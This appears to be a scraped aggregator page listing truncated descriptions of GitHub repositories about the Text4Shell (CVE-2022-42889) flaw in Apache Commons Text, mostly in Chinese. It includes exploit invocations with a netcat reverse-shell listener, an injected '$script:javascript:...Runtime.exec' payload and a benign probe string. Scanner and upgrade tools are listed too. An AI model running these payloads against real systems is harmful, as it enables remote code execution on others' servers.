CVE-2022-42889

Aplicación de prueba CVE-2022-42889 Este repositorio contiene una aplicación simple que utiliza Apache Commons Text 1.10, la cual es vulnerable a CVE-2022-42889. Ejecución de la aplicación Reemplace el comando nc en DemoApplication.java por la dirección IP de su host. Escuchando con netcat:...

cve-2022-42889-jmeter

CVE 2022-42889 Este script sirve para eliminar la versión anterior de Apache Commons Text 1.9 y reemplazarla con la versión más nueva 1.10.0 en la carpeta JMETERHOME/lib...

text4shell-exploit

text4shell-exploit 一个基于Python的定制化概念验证（PoC）利用程序，针对Text4Shell（CVE-2022-42889），这是Apache Commons Text版本 示例 root@kitploit: python3 text4shell.py 127.0.0.1 192.168.1.2 4444 确保在攻击机上设置监听器： root@kitploit: nc -nlvp 4444 有效载荷逻辑 该脚本注入： root@kitploit: $script:javascript:java.lang.Runtime.getRuntime.exec...

riskootext4shell

riskootext4shell text4shell script for text coomons =1.10 CVE-2022-33980 Apache Commons Text 库是 Java JDK 原生功能的替代库。 Apache Commons 的版本低于 1.10.0 类似于 CVE-2022-33980 root@kitploit: python3 text4shell.py -u http://192.168.245.111:8080/search?query= -i 192.168.111.186 -p 22 缓解措施 主要解决方案是紧急升级 Apache...

CVE-2022-42889-text4shell

CVE-2022-42889 又名 text4shell 针对最近由 @pwntester 发现的 Apache Commons Text 漏洞 的概念验证（PoC）： 正如 https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/ 中所述： 该漏洞存在于 StringSubstitutor 插值器对象中。插值器由 StringSubstitutor.createInterpolator 方法创建，并允许按 StringLookupFactory...

CVE-2022-42889-PoC

CVE-2022-42889 又名 Text4Shell RCE 概念验证 Text4Shell 是 Apache Commons Text 库中发现的一个严重软件漏洞的俗称（参见 CVE-2022-42889）。 本仓库旨在演示利用此 CVE 的远程代码执行 （RCE）。 该易受攻击的代码 用于 SpringBoot 控制器中，但请不要混淆，这不是 SpringBoot/Spring 安全问题。 在测试 RCE 之前，请构建 Docker 镜像： root@kitploit: $ docker build -t text4shell . ... = exporting to image...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell 🔥🔥🔥 Apache commons text - CVE-2022-42889 Text4Shell 漏洞利用的概念验证。 详情📃 CVE-2022-42889 影响 Apache Commons Text 1.5 至 1.9 版本。该漏洞已在 Commons Text 1.10 版本中得到修复。 该漏洞被比作 Log4Shell，因为它是一个开源库级别的漏洞，有可能影响大量使用相关对象的软件应用程序。 然而，初步分析表明，这种比较并不恰当。与 Log4Shell 不同，该漏洞的性质意味着应用程序使用 Commons Text...

cve-2022-42889

cve-2022-42889 cve-2022-42889 Text4Shell 影响 Apache Commons Text 1.5 至 1.9 版本。该漏洞已在 Commons Text 1.10 版本中修复。 参考： https://securitylab.github.com/advisories/GHSL-2022-018ApacheCommonsText/ https://github.com/karthikuj/cve-2022-42889-text4shell-docker...

CVE-2022-42889-RCE

CVE-2022-42889-PoC 针对CVE-2022-42889远程代码执行漏洞（Text4Shell漏洞）的概念验证。 给个⭐表示支持❤️ 关于此漏洞 CVE-2022-42889是一个类似于Spring4Shell和Log4Shell的新严重漏洞。它是一个远程代码执行（RCE）漏洞，严重性评分为9.8。此漏洞允许攻击者在被攻击的机器上执行任意恶意代码。受影响版本为Apache Commons Text的1.5到1.9版本。 工作原理 Apache Commons Text 支持变量插值，允许动态计算和扩展属性。插值的标准格式是 "$prefix:name"，其中 "prefix"...

CVE-2022-42889-POC

CVE-2022-42889-POC Apache Commons-Text 漏洞 CVE-2022-42889 的概念验证攻击代码。 问题是什么： Apache Commons Text 支持变量插值，允许动态评估和扩展属性。插值的标准格式为 $prefix:name，其中“prefix”用于定位实现插值的 org.apache.commons.text.lookup.StringLookup 实例。从版本 1.5 到 1.9，默认的 Lookup 实例包含的插值器可能导致任意代码执行或与远程服务器建立连接。这些插值器包括： "script" — 使用 JVM...

text4shell-exploit

Text4shell-exploit 这是一个概念验证（PoC），用于利用 Apache Commons Text 中的漏洞 CVE-2022-42889 受影响版本：1.5.0 至（不含）1.10.0 影响 成功利用此漏洞，可使未经身份验证的攻击者在易受攻击的资产上执行任意代码 用于验证 PoC 的易受攻击应用程序 由 @securekomodo 开发的应用程序，附加在 此处。 Docker 该应用程序也可以从 docker-registry 加载 root@kitploit: docker run -p 8080:8080 gokul2/text4shell-poc:latest...

text4shell

text4shell CVE-2022-42889（text4shell）远程代码执行漏洞的演示。 详细信息请参见 不要恐慌！: Apache Commons Text 中的 CVE-2022-42889 Text4shell 漏洞。...

asf__commons-text_CVE-2022-42889_1-9

Apache Commons Text Apache Commons Text 是一个专注于字符串处理算法的库。 文档 更多信息请访问 Apache Commons Text 主页。 可浏览 Javadoc。 关于 Apache Commons Text 使用的问题，请发送至 用户邮件列表。 哪里可以获取最新版本？ 您可以从我们的 下载页面 下载源代码和二进制文件。 或者，您也可以从 Maven 中央仓库获取： root@kitploit: org.apache.commons commons-text 1.9 贡献 我们接受通过 GitHub 提交的 Pull...

CVE-2022-42889-PoC

CVE-2022-42889 PoC 这是针对漏洞 CVE-2022-42889 的概念验证代码。此代码将运行 JavaScript 代码 195 + 324。如果存在漏洞，输出应为： root@kitploit: PoC Output: 519 要运行此代码，你需要： JDK 11 或以上版本 Maven 当提示输入漏洞利用字符串时，你可以提供自己的漏洞利用字符串（然后按 Enter 输入字符串），或者直接按 Enter 使用默认的漏洞利用字符串 $script:javascript:195 + 324。 Docker 或者你也可以使用 Docker 来运行此 PoC：...

Text4shell--Automated-exploit---CVE-2022-42889

Install maven - maven-linux //自动黑客入侵: 1../install.sh root@kitploit: 2../exploit.sh 3.To remove the application use ./stopapp.sh //手动黑客入侵: 1. 使用Maven安装以创建fat jar root@kitploit: mvn clean install 2. Docker构建 root@kitploit: docker build --tag=text4shell . 3. Docker运行 root@kitploit: docker run -p...

cve-2022-42889-intercept

cve-2022-42889-intercept 低于 Java11版本的需要注意，更高的版本已经取消了Javascript解释器 本次方案针对 Java8 通过 jvm 启动参数 以及 jps pid进行拦截非法参数 quick start root@kitploit: -----------------------load...... cve-2022-42889 check start cve-2022-42889 isdeepmatch org.apache.commons.text.StringSubstitutor md.getReturnType.getActualName...

CVE-2022-42889

🚀 CVE-2022-42889 Text4Shell 利用工具 一个针对 CVE-2022-42889 Text4Shell 的 Python 利用工具，该漏洞是 Apache Commons Text 1.10.0 之前版本中的一个严重远程代码执行漏洞。 📋 目录 描述 漏洞详情 受影响版本 利用工具特性 环境要求 使用方法 示例 工作原理 检测 缓解措施 参考资料 免责声明 📝 描述 该工具针对 CVE-2022-42889 Text4Shell 漏洞，这是 Apache Commons Text 中的一个漏洞，允许通过经 StringLookup 插值器处理的特制输入字符串实现...

Text4Shell-Scanner

CVE-2022-42889 Text4Shell 扫描器 描述 这是一个用于 CVE-2022-42889 Text4Shell 漏洞的扫描器 使用方法 步骤 1. 下载 jar 文件（jar 文件位于 preparedJar/text4shell-scanner.jar） 2. 检查你系统上的 Java 版本 3. 使用参数运行 jar 文件（参考以下示例） 示例命令 root@kitploit: java -jar text4shell-scanner.jar /Path/you/want/to/scan 示例结果 root@kitploit: Scanner for...

CVE-2022-42889

CVE-2022-42889 测试应用程序 该仓库包含一个使用 Apache Commons Text 1.9 的简单应用程序，该版本存在 CVE-2022-42889 漏洞。 运行应用程序 通过 docker 构建并运行应用程序： root@kitploit: docker build . -t vulnerable-app docker run vulnerable-app root@kitploit: $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES d01d5cf33f60 vulnerable-a...

CVE-2022-42889

CVE-2022-42889 测试应用程序 该存储库包含一个使用 Apache Commons Text 1.9 的简单应用程序，该版本易受 CVE-2022-42889 影响。 复现该漏洞的步骤。 在代码仓库中复现该漏洞的步骤。 将 DemoApplication.java 复制到你的仓库。 使用默认字符串运行 main 方法（建议）。 如果你对默认字符串的输出是 519，或者你的应用程序运行时没有出现任何错误： 那么该应用程序是可利用的。🥵 在虚拟机中运行该应用程序 克隆仓库 构建项目 root@kitploit: mvn assembly:assembly...